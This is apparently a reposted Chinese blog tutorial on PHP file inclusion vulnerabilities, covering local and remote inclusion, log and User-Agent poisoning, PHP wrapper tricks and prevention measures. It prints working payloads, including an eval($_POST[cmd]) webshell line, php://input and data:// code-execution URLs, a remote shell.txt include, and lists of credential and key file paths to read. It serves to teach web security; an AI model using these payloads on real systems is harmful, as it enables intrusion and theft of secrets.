文件包含漏洞学习小结

这篇具有很好参考价值的文章主要介绍了文件包含漏洞学习小结。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、介绍

二、常见文件包含函数

三、文件包含漏洞代码举例分析

四、文件包含漏洞利用方式

4.1 本地文件包含

1、读取敏感文件

2、文件包含可运行的php代码

①包含图片码

②包含日志文件

③包含环境变量getshell

④临时文件包含

⑤伪协议

4.2 远程文件包含

4.3 文件包含常用路径

 五、文件包含漏洞防护


一、介绍

程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHPWebApplication 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。

二、常见文件包含函数

以php为例:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
     

三、文件包含漏洞代码举例分析

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

上述代码中,$_GET['filename']来自客户的get请求参数,并且其中没有做任何的检测过滤,直接带入到include包含这个文件,导致造成文件包含漏洞

四、文件包含漏洞利用方式

4.1 本地文件包含

本地包含文件,被包含的文件在服务器

1、读取敏感文件

比如包含敏感文件/etc/passwd

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

../是上一级路径。如果存在漏洞,文件又存在的时候,不是php 文件会被读取显示在页面中,这里我操作系统是windows,所以不存在这个文件

2、文件包含可运行的php代码

  • ①包含图片码

寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行。 保存为 shell.jpg 上传图片格式到网站 再用文件包含漏洞引入图片 成功执行代码

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

  • ②包含日志文件

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志 有 php 恶意代码,也可导致 getshell。

更多日志文件路径参考:应急响应之日志收集_dayouziei的博客-CSDN博客

首先get请求下网站

<?php phpinfo();eval($_POST[cmd]);?>

在中间件日志中会有这条记录,我这里被编码了

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

文件包含漏洞中包含这个文件即可(需要有访问这个文件的权限

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

  • ③包含环境变量getshell

修改 User-Agen 填写 php 代码

文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

在linux 中,/proc/self/environ 这个文件里保存了系统的一些变量,如果权限足够,包含这个文件也可执行脚本

  • ④临时文件包含

phpinfo会打印上传缓存文件路径,如果目标网站有phpinfo的页面,我们可以向该页面POST一个文件,在phpinfo页面中抓取缓存文件路径,在利用时间竞争,就可以执行我们的恶意代码

PHP的POST临时文件机制

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。

  •  该文件默认存储在 /tmp 目录中『可通过 php.ini 的 upload_tmp_dir 指定存储位置』
  •  文件名为 php[6个随机字符],例:phpG4ef0q
  •  若本次请求正常结束,临时文件会被自动删除
  •  若非正常结束,比如崩溃,临时文件可能会被永久保留
⑤伪协议

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数

常见的伪协议

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流(I/O streams)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

php.ini 参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;各协议的利用条件和方法:

协议 测试php版本 allow_url_fopen allow_url_include 用法
file:// >=5.2 off/on off/on ?file=file://D:/phpstudy/www/index.php
php://filter >=5.2 off/on off/on ?file=php://filter/read=conver.base64-encode/resouece=./index.php
php://input >=5.2 off/on on ?file=php://input [POST DATA] <?phpinfo();?>
zip:// >=5.2 off/on off/on ?file=zip://d:/phpstudy/www/file.zip%23test.php
compress.bzip2:// >=5.2 off/on off/on ?file=compress.bzip2://D:/phpstudy/www/file.bz2
compress.zlib:// >=5.2 off/on off/on ?file=compress.zlib://D:/phpstudy/www/file.gz
data:// >=5.2 on on ?file=data://text/plain,<?phpinfo();?>
  • file://协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
文件包含漏洞学习小结,渗透,安全,web安全,网络安全,系统安全,安全架构,安全威胁分析

file:// [文件的绝对路径和文件名]

  • php://协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input
php://filter用于读取源码
php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on
  • zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
 

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on
  • data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:

allow_url_fopen :on
allow_url_include:on
 

4.2 远程文件包含

当远程文件开启时,可以包含远程文件到本地执行。当allow_url_fopen=Onallow_url_include=ON 两个条件同时为 On

http://127.0.0.1/lfi.php?file=http://10.10.10.10/shell.txt 

4.3 文件包含常用路径

  • 包含日志文件

/usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log

  • 读取网站配置文件

dedecms 数据库配置文件

data/common.inc.php,

discuz 全局配置文件 config/config_global.php,

phpcms 配置文件 caches/configs/database.php

phpwind 配置文件 conf/database.php

wordpress 配置文件 wp-config.php

  • 包含系统配置文件

windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz文章来源地址https://www.toymoban.com/news/detail-696587.html

 五、文件包含漏洞防护

  • 1、使用str_replace等方法过滤掉危险字符
  • 2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
  • 3、php版本升级,防止%00截断
  • 4、对上传的文件进行重命名,防止被读取
  • 5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
  • 6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

到了这里,关于文件包含漏洞学习小结的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • web渗透安全学习笔记:1、入门基础知识/ XXS漏洞

        自编写python渗透工具编写学习笔记专栏以来,笔者便发现了一个较为严重的问题:我们大多数文章都是学习如何用python编写扫描与利用漏洞的渗透工具,却没有真正解析漏洞的形成原因,长此以往我们的学习就只会浮于表面,广而不深。为了改变这一现状,笔者决定以深

    2024年02月03日
    浏览(55)
  • 学网络安全怎么挖漏洞?怎么渗透?

    前言 有不少阅读过我文章的伙伴都知道,我从事网络安全行业已经好几年,积累了丰富的经验和技能。在这段时间里,我参与了多个实际项目的规划和实施,成功防范了各种网络攻击和漏洞利用,提高了安全防护水平。 也有很多小伙伴私信问我怎么学?怎么挖漏洞?怎么渗

    2024年02月04日
    浏览(48)
  • 网络安全进阶学习第五课——文件上传漏洞

    大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。 由于对上传文件 未作过滤 或 过滤机制不严(文件后缀或类型) ,导致恶意用户可以上传 脚本文件 ,通过上传文件可以达到控制网站权限的目的。 攻击者可获得网站控制权限; 查看、修改

    2024年02月06日
    浏览(35)
  • [渗透测试]—5.1 网络设备的安全漏洞

    在这一章节中,我们将重点讨论网络设备(如路由器、交换机等)的安全漏洞,以及如何进行网络设备的渗透测试。请放心,我们会尽量讲得详细、通俗易懂,并提供尽可能多的实例。 网络设备,如路由器和交换机,是构成计算机网络的基本元素。这些设备负责在网络中转发

    2024年02月11日
    浏览(47)
  • [渗透测试]—6.2 无线网络安全漏洞和攻击技术

    在本章节中,我们将学习一些常见的无线网络安全漏洞和攻击技术,如WPS漏洞、Evil Twin攻击等。我们将尽量讲解得详细、通俗易懂,并提供尽可能多的实例。 Wi-Fi保护设置(WPS)是一种简化无线网络配置的技术,可以通过输入PIN码或按下物理按钮的方式快速连接无线网络。然

    2024年02月11日
    浏览(46)
  • 信息服务上线渗透检测网络安全检查报告和解决方案4(网站风险等级评定标准、漏洞危害分级标准、漏洞安全建议)

    信息服务上线渗透检测网络安全检查报告和解决方案3(系统漏洞扫描、相对路径覆盖RPO漏洞、nginx漏洞修复) 信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级) 信息服务上线渗透检测网络安

    2024年02月12日
    浏览(43)
  • 有哪些信息安全/网络安全/渗透测试/众测/CTF/红蓝攻防/漏洞测试等前沿技术/研究/技巧获取渠道?

    护网的定义是以国家组织组织事业单位、国企单位、名企单位等开展攻防两方的网络安全演习。进攻方一个月内采取不限方式对防守方展开进攻,不管任何手段只要攻破防守方的网络并且留下标记即成功,直接冲到防守方的办公大楼,然后物理攻破也算成功。护网是国家应对

    2024年02月06日
    浏览(54)
  • 网络安全入门 5 天速成教程_ WEB 安全渗透攻防技术

    前言 随着 Web 技术发展越来越成熟,而非 Web 服务越来越少的暴露在互联网上,现在互联网安全主要指的是 Web 安全。 为了自身不“裸奔”在大数据里,渐渐开始学习 Web 安全,在学习 Web 安全的过程中,发现很大一部分知识点都相对零散,如果没有相对清晰 的脉络作为参考,

    2024年04月23日
    浏览(47)
  • 网络安全B模块(笔记详解)- Web渗透测试

    1.通过渗透机Kali1.0对服务器场景PYsystem20192进行Web渗透测试(使用工具w3af的对目标Web服务器进行审计),在w3af的命令行界面下,使用命令列出所有用于审计的插件,将该操作使用的命令作为Flag值提交; 进入kali命令控制台中使用命令w3af_console进入w3af命令行模式,通过输入命令

    2024年01月25日
    浏览(50)
  • 网络安全从业人员应该如何提升自身的web渗透能力?

    前言 web 渗透这个东西学起来如果没有头绪和路线的话,是非常烧脑的。 理清 web 渗透学习思路,把自己的学习方案和需要学习的点全部整理,你会发现突然渗透思路就有点眉目了。 程序员之间流行一个词,叫 35 岁危机,,意思就是说 35 岁是个坎,容易被淘汰。 那么安全行

    2023年04月09日
    浏览(103)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包